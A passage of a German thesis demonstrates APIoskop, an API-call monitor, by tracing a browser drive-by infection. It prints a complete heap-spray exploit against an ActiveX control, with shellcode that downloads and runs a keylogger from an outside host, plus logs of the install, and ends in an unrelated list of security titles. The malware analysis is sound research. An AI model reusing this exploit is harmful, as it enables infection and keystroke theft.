90 Kapitel 4. APIoskop welche die Informationen in die Ausgabeliste einträgt. Über ein Fenster kann der Benutzer APIoskop so konfigurieren, dass nur ausgewählte Funktionen auf mögliche Aufrufe überwacht werden. Diese und noch weitere Informationen benötigt die HookLibrary für ihre Arbeit und müssen ihr vom Hauptprogramm übergeben werden. Die Übergabe dieser Parameter an die HookLibrary wurde ebenfalls durch ein Memory Mapped File realisiert. Dieses zweite Memory Mapped File wurde wegen der automatischen Überwachung der Kindprozesse zusätzlich benötigt und beinhaltet die Parameter für die gesamte Dauer einer Überwachung. Die Implementierung der Hook-Funktionen wurde exemplarisch an drei dieser Funktionen gezeigt, da deren Aufbau stets sehr ähnlich ist. Die Hook-Funktionen lassen sich grob in zwei Abschnitte unterteilen: Der erste Abschnitt wird ausgeführt, falls der Funktionsaufruf übermittelt werden soll, und der zweite Abschnitt, falls dies nicht so ist. Die Entscheidung über eine mögliche Übermittlung hängt davon ab, ob der Benutzer von APIoskop Folgeaufrufe mitprotokollieren lassen möchte oder nicht. Soll der Aufruf übermittelt werden, so wird die Uhrzeit festgehalten und versucht aus den Argumenten der entsprechenden API-Funktion verständliche Informationen zu gewinnen. Diese werden anschließend durch die Funktion Log an das Hauptprogramm gesendet. Zudem wurde der Initialisierungsabschnitt der HookLibrary vorgestellt. Dort werden die Hook- Funktionen in den Programmablauf der Zielapplikation eingehängt. Neben dieser Installation der Hooks werden in diesem Abschnitt noch die Parameter des Hauptprogramms von APIoskop entgegengenommen und es wird die Interprozesskommunikation initalisiert. Wie APIoskop aus den Argumenten die benötigten Informationen zieht, wurde exemplarisch für Sockets und für Keyhandles veranschaulicht. In einem letzten Abschnitt wurden drei Komponenten des Borland Developer Studios 2006 vorgestellt, welche APIoskop dazu verwendet, die Office-Anwendungen zu steuern. Diese werden immer dann benötigt, wenn mit Hilfe von APIoskop Office-Dokumente untersucht werden sollen. 76

91 Kapitel 5. Resultate In diesem Kapitel werden einige Resultate vorgestellt, die man mit APIoskop erzielen kann. Dies geschieht zu Beginn dieses Kapitels in Form eines Beispiellaufs, da wie bereits im ersten Kapitel erwähnt, APIoskop keine numerischen Ergebnisse liefert, mit denen der Erfolg von APIoskop messbar wäre. Neben diesem Beispiellauf werden in diesem Kapitel einige Zeiten präsentiert, die veranschaulichen, wie eine Überwachung durch APIoskop die Performance der überwachten Anwendungen beeinflusst Beispiellauf In diesem Unterkapitel werden die Resultate, die man mit APIoskop erzielen kann, beispielhaft anhand einer Überwachung vorgestellt. Bei diesem Beispiellauf wird der Internet Explorer (Version: ) überwacht. Geöffnet wird eine HTML-Datei, welche Code in den Browser einschleust und ausführt. Dazu wird eine Schwachstelle in einem zu DirectAnimation gehörige ActiveX Control 1 ausgenutzt. Der Quelltext der Datei sieht folgendermaßen aus: <html> <head> <title>xsec.org</title> </head> <body> <script> shellcode = unescape("%u4343"+"%u4343"+"%u4343" + "%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000" + "%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516" + "%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456" + "%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300" + "%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856" + "%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56" + "%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be" + "%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775" + "%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd" + "%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e" + "%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a" + 1 für nähere Informationen: 77

92 Kapitel 5. Resultate "%u6870%u7474%u3a70%u2f2f%u7571%u7365%u2e74%u6437" + "%u776f%u6c6e%u616f%u7364%u632e%u6d6f%u712f%u6575" + "%u7473%u6e2e%u7465%u3233%u652e%u6578%u0000"); bigbk = unescape("%u0d0d%u0d0d"); headersize = 20; slackspace = headersize + shellcode.length while (bigbk.length < slackspace) bigbk += bigbk; fillbk = bigbk.substring(0, slackspace); bk = bigbk.substring(0, bigbk.length-slackspace); while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk; memory = new Array(); for (i=0;i<800;i++) memory[i] = bk + shellcode; var target = new ActiveXObject("DirectAnimation.PathControl"); target.keyframe(0x7fffffff, new Array(1), new Array(65535)); </script> </body> </html> Die folgenden Zeilen sind Ausschnitte der durch APIoskop registrierten Funktionsaufrufe. In jeder Zeile steht zu Beginn eine Zeilennummer. Diese Nummer entspricht nicht dem Eintrag Nr der Ausgabeliste, da hier aus Platzgründen nur ausgewählte Funktionsaufrufe übernommen wurden. Auch wenn hier ein paar Einträge fehlen, ist die Reihenfolge der hier angeführten Zeilen dennoch chronologisch. Ebenfalls aus Platzgründen ist das Format dieser Zeilen ein wenig anders als das Format der Ausgabeliste: Nach einer Zeilennummer folgt der Name der Funktion, dessen Aufruf geloggt wurde, und anschließend sind hier die wichtigsten Argumente der entsprechenden Funktion zu finden. Zu beachten ist, dass die Pfade in den Argumenten der angegebnen Dateisystem-Funktionen abgekürzt sind: C:\Dokumente und Einstellungen\Markus\ Lokale Einstellungen\Temporary Internet Files\Content.IE5\ wird abgekürzt durch C:\Dok...IE5\. 01 connect (wsock32) ensim.persiahost.com ( ) (Port: 80) 02 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 270) 03 CreateFileA C:\Do...IE5\S7GZUFQP\quest.net32[1].exe (CREATE_NEW) 04 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 05 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 06 RegOpenKeyExA HKEY_CLASSES_ROOT\.exe 07 RegQueryValueExA HKEY_CLASSES_ROOT\.exe\Content Type (Txp: REG_SZ) 08 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 09 CreateFileA C:\Do...IE5\S7GZUFQP\quest.net32[1].exe (OPEN_EXISTING) 10 CreateFileW C:\WINDOWS\system32\a.exe (CREATE_ALWAYS) 11 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 12 WriteFile C:\WINDOWS\system32\a.exe 13 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 14 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 15 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 16 WriteFile C:\WINDOWS\system32\a.exe 17 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 2520) 18 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 19 WriteFile C:\WINDOWS\system32\a.exe 20 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 1260) 21 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 22 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 78

93 5.1. Beispiellauf 23 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 24 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 25 WriteFile C:\WINDOWS\system32\a.exe 26 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 1260) 27 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 28 WriteFile C:\WINDOWS\system32\a.exe 29 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 30 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 31 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 32 WriteFile C:\WINDOWS\system32\a.exe 33 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 1260) 34 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 35 WriteFile C:\WINDOWS\system32\a.exe 36 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 37 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 38 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 8192) 39 WriteFile C:\WINDOWS\system32\a.exe 40 WriteFile C:\WINDOWS\system32\a.exe 41 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 42 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3148) 43 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 44 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 45 WriteFile C:\WINDOWS\system32\a.exe 46 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 47 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 48 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 49 WriteFile C:\WINDOWS\system32\a.exe 50 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 51 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 52 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 2520) 53 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 54 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 7560) 55 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 56 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 57 WriteFile C:\WINDOWS\system32\a.exe 58 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 1260) 59 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 60 WriteFile C:\WINDOWS\system32\a.exe 61 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 62 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 63 WriteFile C:\WINDOWS\system32\a.exe 64 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 8192) 65 WriteFile C:\WINDOWS\system32\a.exe 66 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 67 WriteFile C:\WINDOWS\system32\a.exe 68 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 1460) 69 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 70 WriteFile C:\WINDOWS\system32\a.exe 71 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 72 WriteFile C:\WINDOWS\system32\a.exe 73 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 74 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 75 WriteFile C:\WINDOWS\system32\a.exe 76 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 77 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 78 WriteFile C:\WINDOWS\system32\a.exe 79

94 Kapitel 5. Resultate 79 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 6300) 80 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 81 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3780) 82 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 83 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 3560) 84 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 85 WriteFile C:\WINDOWS\system32\a.exe 86 WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 87 recv (wsock32) ensim.persiahost.com ( ) (Bytes: 0) 88 ReadFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe 89 WriteFile C:\WINDOWS\system32\a.exe 90 WinExec C:\WINDOWS\system32\a.exe Nach dem Öffnen der HTML-Datei sieht man, wie der Internet Explorer in der ersten Zeile eine Verbindung zu dem Rechner ensim.persiahost.com (IP-Adresse: ) aufbaut. Anschließend werden in der zweiten Zeile schon die ersten Daten von diesem Rechner empfangen, welche durch APIoskop mitgeschnitten werden. Das in Zeile 2 empfangene Datagramm hat folgenden Inhalt: F 31 2E F 4B 0D HTTP/ OK D 0A A 20 4D 6F 6E 2C Date:.Mon, A A 33 Aug :54: D 54 0D 0A A GMT..Server:.A F 32 2E 30 2E pache/ (re D 0A 4C D 4D 6F 64 d.hat)..last-mod A 20 4D 6F 6E 2C ified:.mon,.25.s A A ep :22: D 54 0D 0A A GMT..ETag:."d D D bf08-756a680 00A D 0A D E "..Accept-Range 00B0 73 3A D 0A 43 6F 6E E s:.bytes..conten 00C0 74 2D 4C 65 6E A t-length: D0 0D 0A 43 6F 6E 6E F 6E 3A C..Connection:.cl 00E0 6F D 0A 43 6F 6E E 74 2D ose..content-typ 00F0 65 3A C F 6E 2F 6F e:.application/o D D 0D 0A 0D 0A tet-stream Am Ende des Inhalts dieses Datagramms erkennt man, dass im Verlauf der Kommunikation eine Bytes große (Content-Length: ), binäre Datei (Content- Type: application/otet-stream) übertragen wird. Die meisten weiteren der hier angegebenen Funktionsaufrufe resultieren aus dem Empfangen (recv (wsock32)) und Schreiben der Bytes (WriteFile). Dazu werden zuvor zwei ausführbare Dateien angelegt: Zum einen eine temporäre Datei des Internet Explorers (Zeile 9), in welcher vermutlich die empfangenen Bytes zwischengespeichert werden. Und zum anderen die Datei C:\WINDOWS\system32\a.exe (Zeile 10), in welche die Bytes dann anschließend übernommen werden. Diese Vermutung liegt nahe, da sehr häufig, nachdem Bytes empfangen wurden, schreibender Zugriff auf diese beiden Dateien und zusätzlich lesender Zugriff auf die temporäre Datei erfolgt. Ein gutes Beispiel sind die Zeilen 29 bis 32. Der Anfang des Inhalts des zweiten empfangenen Datagramms (empfangen in Zeile 4) belegt diese Vermutung. Er entspricht dem Anfang des Inhalts der Datei C:\WINDOWS\system32\a.exe. Diese ersten 304 Bytes des zweiten Datagramms sind folgende: 80

95 5.1. Beispiellauf D 5A FF FF MZ B F E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD !..L.!T F D E 6E his.program.cann F E E F 53 ot.be.run.in.dos D 6F E 0D 0D 0A mode...$ C9 0D A 0D A 0D I9g..X...X...X A A 5E A A 1E TV.^X...T...X. 00A0 9A F7 7B 10 9A 0F A 1E A 0F {...X...PT..X. 00B0 9A 8E A A 0D A PT..X...X..cX. 00C0 9A A 1A A E A 0C Ti..X...SW..X. 00D0 9A A 0C A D TS..X..Rich.X. 00E0 9A F C B 2F PE..L.../.D E0 00 0F 01 0B A 00 8E E C2 6D In den Zeilen 3, 9 und 10 ist jeweils hinter dem Argument, welches die zu erstellende Datei angibt, der Wert des Arguments dwcreationdisposition angegeben. Dieses Argument legt fest, was mit der zu erstellenden Datei geschehen soll, wenn diese schon existiert. Die Werte haben folgende Bedeutungen: - CREATE_NEW: Erstellt eine neue Datei. Falls die Datei schon existiert, so schlägt das Erstellen fehl. - OPEN_EXISTING: Öffnet die Datei. Falls die Datei noch nicht existiert, so schlägt die Funktion fehl. - CREATE_ALWAYS: Erstellt immer eine neue Datei. Falls die Datei schon existiert, wird deren Inhalt gelöscht. Bei einem Online Malware Scan 2 identifizierten 17 von aktuell 20 Scannern die Datei C:\WINDOWS\system32\a.exe als Keylogger mit dem Namen SCKeyLog. Ein Screenshot dieser Ergebnisse befindet sich in Abbildung 5.1. In Zeile 90 wird dieser Keylogger dann schließlich zur Ausführung gebracht. Die folgenden Zeilen zeigen durch APIoskop registrierte Funktionseinträge, die durch den gerade angesprochenen Keylogger verursacht wurden. Diese Auflistung ist ebenfalls nicht komplett, sondern präsentiert nur die wohl interessantesten Funktionseinträge (auch in chronologischer Reihenfolge), da hier eine vollständige Auflistung aus Platzgründen nicht möglich ist. In dieser Auflistung wurde HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\ Notify\spoolsvc durch HKLM\...\spoolsvc und HKEY_LOCAL_MACHINE\software\microsoft\ windows\currentversion\run durch HKLM\...\run abgekürzt. In den folgenden Zeilen bedeutet ein Eintrag RegSetValueExA Schlüssel := Wert, dass der Registryschlüssel Schlüssel den Wert Wert zugewiesen bekommt. 2 Jottis Malwarescan: 81

96 Kapitel 5. Resultate Abbildung 5.1.: Online Malware Scan der Datei a.exe 01 CreateFileA C:\WINDOWS\system32\a.exe (OPEN_EXISTING) 02 ReadFile C:\WINDOWS\system32\a.exe 03 CreateFileA C:\WINDOWS\system32\spoolsvc.exe (CREATE_ALWAYS) 04 ReadFile C:\WINDOWS\system32\a.exe 05 ReadFile C:\WINDOWS\system32\a.exe 06 WriteFile C:\WINDOWS\system32\spoolsvc.exe 07 ReadFile C:\WINDOWS\system32\a.exe 08 WriteFile C:\WINDOWS\system32\spoolsvc.exe 09 ReadFile C:\WINDOWS\system32\a.exe 10 WriteFile C:\WINDOWS\system32\spoolsvc.exe 11 ReadFile C:\WINDOWS\system32\a.exe 12 CreateFileA C:\WINDOWS\system32\spoolsvc.exe (OPEN_EXISTING) 13 CreateFileA C:\WINDOWS\system32\spoolsvc.dll (CREATE_ALWAYS) 14 ReadFile C:\WINDOWS\system32\a.exe 15 ReadFile C:\WINDOWS\system32\a.exe 16 ReadFile C:\WINDOWS\system32\a.exe 17 ReadFile C:\WINDOWS\system32\a.exe 18 WriteFile C:\WINDOWS\system32\spoolsvc.dll 19 ReadFile C:\WINDOWS\system32\a.exe 20 ReadFile C:\WINDOWS\system32\a.exe 82

MALWARE AM BEISPIEL VON STUXNET

MALWARE AM BEISPIEL VON STUXNET MALWARE AM BEISPIEL VON STUXNET IAV10/12 24.05.2011 Jan Heimbrodt Inhalt 1. Definition Was ist Malware? 2. Kategorisierung von Malware Viren, Würmer, Trojaner, 3. Was macht Systeme unsicher? Angriffsziele,

Mehr

Intrusion Detection & Intrusion Prevention. Tobias Marx Gastvorlesung Sicherheit in Netzen 14. April 2005

Intrusion Detection & Intrusion Prevention. Tobias Marx Gastvorlesung Sicherheit in Netzen 14. April 2005 Intrusion Detection & Intrusion Prevention Tobias Marx Gastvorlesung Sicherheit in Netzen 14. April 2005 Inhalt Begriffsdefinitionen Aufgaben eines Intrusion Detection Systems Architektur eines Intrusion

Mehr

Definition (BSI) Intrusion Detection Systeme. Alternative Definition. Hauptkomponenten. Erkennung von Angriffen. Hauptkomponenten

Definition (BSI) Intrusion Detection Systeme. Alternative Definition. Hauptkomponenten. Erkennung von Angriffen. Hauptkomponenten Definition (BSI) Intrusion Detection Systeme IDS Aktive Überwachung von Systemen und Netzen mit dem Ziel der Erkennung von Angriffen und Missbrauch. Aus allen im Überwachungsbereich stattfindenen Ereignissen

Mehr

Computerviren, Würmer, Trojaner

Computerviren, Würmer, Trojaner Computerviren, Würmer, Trojaner Computerviren, Würmer und Trojaner zählen zur Familie unerwünschter bzw. schädlicher Programme, der so genannten Malware. Diese Programme können sich selbst verbreiten und

Mehr

IDS Intrusion Detection Systems

IDS Intrusion Detection Systems IDS Intrusion Detection Systems Arne Brutschy Problemseminar Mobilität und Sicherheit im Internet SS 2003 Prof. Dr. K. Irmscher Institut für Informatik Universität Leipzig Einführung Was ist ein Intrusion

Mehr

Personal Firewall (PFW) und Virenscanner. Präsentation von Gunawati A.-Tillmann, Miguel Lopez und Andreas Angelkorte

Personal Firewall (PFW) und Virenscanner. Präsentation von Gunawati A.-Tillmann, Miguel Lopez und Andreas Angelkorte Personal Firewall (PFW) und Virenscanner Präsentation von Gunawati A.-Tillmann, Miguel Lopez und Andreas Angelkorte Gliederung Personal Firewall Virenscanner 1. Zweck einer Firewall 2. Funktionsweise einer

Mehr

Praktikum IT-Sicherheit

Praktikum IT-Sicherheit IT-Sicherheit Praktikum IT-Sicherheit - Versuchshandbuch - Aufgaben Trojaner Als Trojaner wird eine Art von Malware bezeichnet, bei der es sich um scheinbar nützliche Software handelt, die aber neben ihrer

Mehr

Handbuch ECDL 2003 Basic Modul 2: Computermanagement und Dateiverwaltung Grundbegriffe: Viren und Daten auf Viren prüfen

Handbuch ECDL 2003 Basic Modul 2: Computermanagement und Dateiverwaltung Grundbegriffe: Viren und Daten auf Viren prüfen Handbuch ECDL 2003 Basic Modul 2: Computermanagement und Dateiverwaltung Grundbegriffe: Viren und Daten auf Viren prüfen Dateiname: ecdl2_06_01_documentation_standard.doc Speicherdatum: 14.02.2005 ECDL

Mehr

Malware - Viren, Würmer und Trojaner

Malware - Viren, Würmer und Trojaner Department of Computer Sciences University of Salzburg June 21, 2013 Malware-Gesamtentwicklung 1984-2012 Malware-Zuwachs 1984-2012 Malware Anteil 2/2011 Malware Viren Würmer Trojaner Malware Computerprogramme,

Mehr

IT-Sicherheit heute (Teil 7) Diesen und andere Vorträge bieten wir Ihnen als kostenlose Downloads an. www.networktraining.

IT-Sicherheit heute (Teil 7) Diesen und andere Vorträge bieten wir Ihnen als kostenlose Downloads an. www.networktraining. IT-Sicherheit heute (Teil 7) Diesen und andere Vorträge bieten wir Ihnen als kostenlose Downloads an. www.networktraining.de/download Agenda Grundlagen: Fakten, Zahlen, Begriffe Der Weg zu mehr Sicherheit

Mehr

Wo ist mein Geld? Identitätsmissbrauch im Online-Banking. Christoph Sorge Universität des Saarlandes juris-stiftungsprofessur für Rechtsinformatik

Wo ist mein Geld? Identitätsmissbrauch im Online-Banking. Christoph Sorge Universität des Saarlandes juris-stiftungsprofessur für Rechtsinformatik Wo ist mein Geld? Identitätsmissbrauch im Online-Banking Christoph Sorge Universität des Saarlandes juris-stiftungsprofessur für Rechtsinformatik C. Sorge 2 Überblick Rechner des Kunden Server der Bank

Mehr

Sicherheit. Bedeutung Gefahren. Mag. Friedrich Wannerer 1

Sicherheit. Bedeutung Gefahren. Mag. Friedrich Wannerer 1 Sicherheit Bedeutung Gefahren Mag. Friedrich Wannerer 1 Sicherheitsbegriff Unversehrtheit und Vertraulichkeit persönlicher Daten Datenschutzgesetz 2000 Bedrohungen q Dialer, Spam, Spyware, Viren, Würmer,

Mehr

Aufgabe 3 Storm-Worm

Aufgabe 3 Storm-Worm Aufgabe 3 Storm-Worm Bot: kompromittierte Maschine Kommunikationskanal, der dem Angreifer die Kontrolle über den Bot und somit das System gestattet Botnetz: Zusammenschluss mehrerer Bots koordinierte Distributed-Denial-Of-Service-Angriffe

Mehr

Gefahren im Internet

Gefahren im Internet by Christian Roth April 2014 Gefahren im Internet - Spam oder Junk-Mails Seite 2 Es wird immer fieser vorgegangen. Nehmen Sie sich genügend Zeit um Ihre Mails zu bearbeiten. In der Eile geht man schnell

Mehr

DesktopSecurity. Schutz für den Windows-Arbeitsplatz PCs, Workstations und Laptops gegen Bedrohungen aus dem Internet

DesktopSecurity. Schutz für den Windows-Arbeitsplatz PCs, Workstations und Laptops gegen Bedrohungen aus dem Internet DesktopSecurity Schutz für den Windows-Arbeitsplatz PCs, Workstations und Laptops gegen Bedrohungen aus dem Internet Ralf Niederhüfner PROLINK internet communications GmbH 1 Desktop Security Szenarien

Mehr

KAV/KIS 2014 Global Messaging- Leitfaden

KAV/KIS 2014 Global Messaging- Leitfaden KAV/KIS 2014 Global Messaging- Leitfaden Headlines Kaspersky Internet Security 2014 Kaspersky Anti-Virus 2014 Premium-Schutz für den PC Essenzieller PC-Schutz Produktbeschreibung 15/25/50 Kaspersky Internet

Mehr

PC-Treff Gärtringen. Thema: Computerviren & Co Referent: Peter Rudolph. Wolfgang Täuber. In der binären Welt findet man:

PC-Treff Gärtringen. Thema: Computerviren & Co Referent: Peter Rudolph. Wolfgang Täuber. In der binären Welt findet man: PC-Treff Gärtringen Thema: Computerviren & Co Referent: Peter Rudolph. Wolfgang Täuber In der binären Welt findet man: - Störenfriede - Bekämpfer von Störenfieden - und alle anderen, die von beiden eigentlich

Mehr

Softwaresicherheit. Sicherheitsschwachstellen im größeren Kontext. Ulrich Bayer

Softwaresicherheit. Sicherheitsschwachstellen im größeren Kontext. Ulrich Bayer Softwaresicherheit Sicherheitsschwachstellen im größeren Kontext Ulrich Bayer Conect Informunity, 30.1.2013 2 Begriffe - Softwaresicherheit Agenda 1. Einführung Softwaresicherheit 1. Begrifflichkeiten

Mehr

Sicherheitsaspekte unter Windows 2000

Sicherheitsaspekte unter Windows 2000 Sicherheitsaspekte unter Windows 2000 Margarete Kudak Sascha Wiebesiek 1 Inhalt 1. Sicherheit 1.1 Definition von Sicherheit 1.2 C2 - Sicherheitsnorm 1.3 Active Directory 2. Sicherheitslücken 3. Verschlüsselung

Mehr

Intrusion Detection Basics

Intrusion Detection Basics Intrusion Detection Basics Ziele von Angriffen Formen von Angriffen Vorgehensweise von Eindringlingen Überwachungsmöglichkeiten Tools: tripwire, iptraf, tcpdump, snort Ziele von Angriffen (Auswahl) Sport:

Mehr

Angriffe auf Windowssysteme

Angriffe auf Windowssysteme Angriffe auf Windowssysteme von Markus Diett Ruhr-Universität Bochum Lehrstuhl Kommunikationssicherheit Seminar: IT-Sicherheit Wintersemester 2003/2004 Fachsemster: 5 Matrikel-Nr.: 108 001 21522 6 Betreut

Mehr

Gefahren aus dem Internet 6 Aktive Angriffe April 2010

Gefahren aus dem Internet 6 Aktive Angriffe April 2010 6 Aktive Angriffe Lernziele Sie können grob erklären, wie ein Angreifer in Ihren Computer eindringen kann. Sie können herausfinden, welche Ports auf Ihrem Computer offen sind. Sie wissen, warum der Einsatz

Mehr

G Data Whitepaper. Behaviour Blocking. Geschützt. Geschützter. G Data. Marco Lauerwald Marketing

G Data Whitepaper. Behaviour Blocking. Geschützt. Geschützter. G Data. Marco Lauerwald Marketing G Data Whitepaper Behaviour Blocking Marco Lauerwald Marketing Geschützt. Geschützter. G Data. Inhalt 1 Behaviour Blocking Mission: Unbekannte Bedrohungen bekämpfen... 2 1.1 Unbekannte Schädlinge: Die

Mehr

Computerpflege. Windows XP Update (Arbeitssicherheit) Dieses Programm öffnet die Internetseite von Windows. Starten Sie die [Schnellsuche].

Computerpflege. Windows XP Update (Arbeitssicherheit) Dieses Programm öffnet die Internetseite von Windows. Starten Sie die [Schnellsuche]. Computerpflege Neben dem Virus Schutz ist es sehr wichtig den PC regelmässig zu Pflegen. Es sammeln sich täglich verschiedene Dateien an die nicht wirklich gebraucht werden und bedenkenlos gelöscht werden

Mehr

3 Konfiguration von Windows

3 Konfiguration von Windows Einführung 3 Konfiguration von Windows Vista Sicherheitseinstellungen Lernziele: Die UAC (User Account Control) Der Windows Defender Sicherheit im Internet Explorer 7 Die Firewall Prüfungsanforderungen

Mehr

Lebenszyklus einer Schwachstelle

Lebenszyklus einer Schwachstelle GRUNDLAGEN STATISTIKEN BERICHTE Lebenszyklus einer Schwachstelle Nach Bekanntwerden einer neuen Zero-Day-Schwachstelle hat der Hersteller ein Advisory veröffentlicht, in dem bis zur Fertigstellung eines

Mehr

SafeRun-Modus: Die Sichere Umgebung für die Ausführung von Programmen

SafeRun-Modus: Die Sichere Umgebung für die Ausführung von Programmen SafeRun-Modus: Die Sichere Umgebung für die Ausführung von Programmen Um die maximale Sicherheit für das Betriebssystem und Ihre persönlichen Daten zu gewährleisten, können Sie Programme von Drittherstellern

Mehr

Ist Angriff besser als Verteidigung? Der richtige Weg für IT-Sicherheitsausbildung

Ist Angriff besser als Verteidigung? Der richtige Weg für IT-Sicherheitsausbildung Ist Angriff besser als Verteidigung? Der richtige Weg für IT-Sicherheitsausbildung Martin Mink Universität Mannheim 10. Deutscher IT-Sicherheitskongress des BSI Bonn, 23. Mai 2007 Vorstellung Lehrstuhl

Mehr

Custom Defense die Trend Micro Lösung für einen umfassenden und individuellen Schutz vor gezielten Angriffen

Custom Defense die Trend Micro Lösung für einen umfassenden und individuellen Schutz vor gezielten Angriffen Custom Defense die Trend Micro Lösung für einen umfassenden und individuellen Schutz vor gezielten Angriffen Petra Flessa Product Marketing Manager DACH it-sa 2013 10/4/2013 Copyright 2013 Trend Micro

Mehr

TimeMachine. Installation und Konfiguration. Version 1.4. Stand 21.11.2013. Dokument: install.odt. Berger EDV Service Tulbeckstr.

TimeMachine. Installation und Konfiguration. Version 1.4. Stand 21.11.2013. Dokument: install.odt. Berger EDV Service Tulbeckstr. Installation und Konfiguration Version 1.4 Stand 21.11.2013 TimeMachine Dokument: install.odt Berger EDV Service Tulbeckstr. 33 80339 München Fon +49 89 13945642 Mail rb@bergertime.de Versionsangaben Autor

Mehr

E-Mail-Exploits und ihre Gefahren

E-Mail-Exploits und ihre Gefahren E-Mail-Exploits und ihre Gefahren Warum zum Erkennen von E-Mail-Exploits eine beson dere Engine benötigt wird In diesem White Paper erfahren Sie, worum es sich bei E-Mail-Exploits handelt und welche E-Mail-Exploits

Mehr

Ratgeber. Erstellung einer Rettungs-CD: ESET SysRescue (64-Bit) ESET in Deutschland DATSEC Data Security e.k. www.eset.de

Ratgeber. Erstellung einer Rettungs-CD: ESET SysRescue (64-Bit) ESET in Deutschland DATSEC Data Security e.k. www.eset.de Ratgeber Erstellung einer Rettungs-CD: ESET SysRescue (64-Bit) ESET in Deutschland DATSEC Data Security e.k. www.eset.de Inhalt Einleitung........................................................... 3 Schritt

Mehr

Viren, Würmer, Trojaner

Viren, Würmer, Trojaner Viren, Würmer, Trojaner Was muss ich beachten? Ralf Benzmüller G DATA Software AG Überblick Einleitung Grundlegende Begriffe Gefahrensituation Zahlen und Daten Trends Infektionsmechanismen Viren Würmer

Mehr

Exploits Wie kann das sein?

Exploits Wie kann das sein? Exploits Durch eine Schwachstelle im Programm xyz kann ein Angreifer Schadcode einschleusen. Manchmal reicht es schon irgendwo im Internet auf ein präpariertes Jpg-Bildchen zu klicken und schon holt man

Mehr

1. Schritt: Benutzerkontensteuerung aktivieren

1. Schritt: Benutzerkontensteuerung aktivieren Inhalt: 1. Schritt: Benutzerkontensteuerung aktivieren 2. Schritt: Firewall aktivieren 3. Schritt: Virenscanner einsetzen 4. Schritt: Automatische Updates aktivieren 5. Schritt: Sicherungskopien anlegen

Mehr

Überprüfung der Wirksamkeit der BSI-Konfigurationsempfehlungen für Windows 7

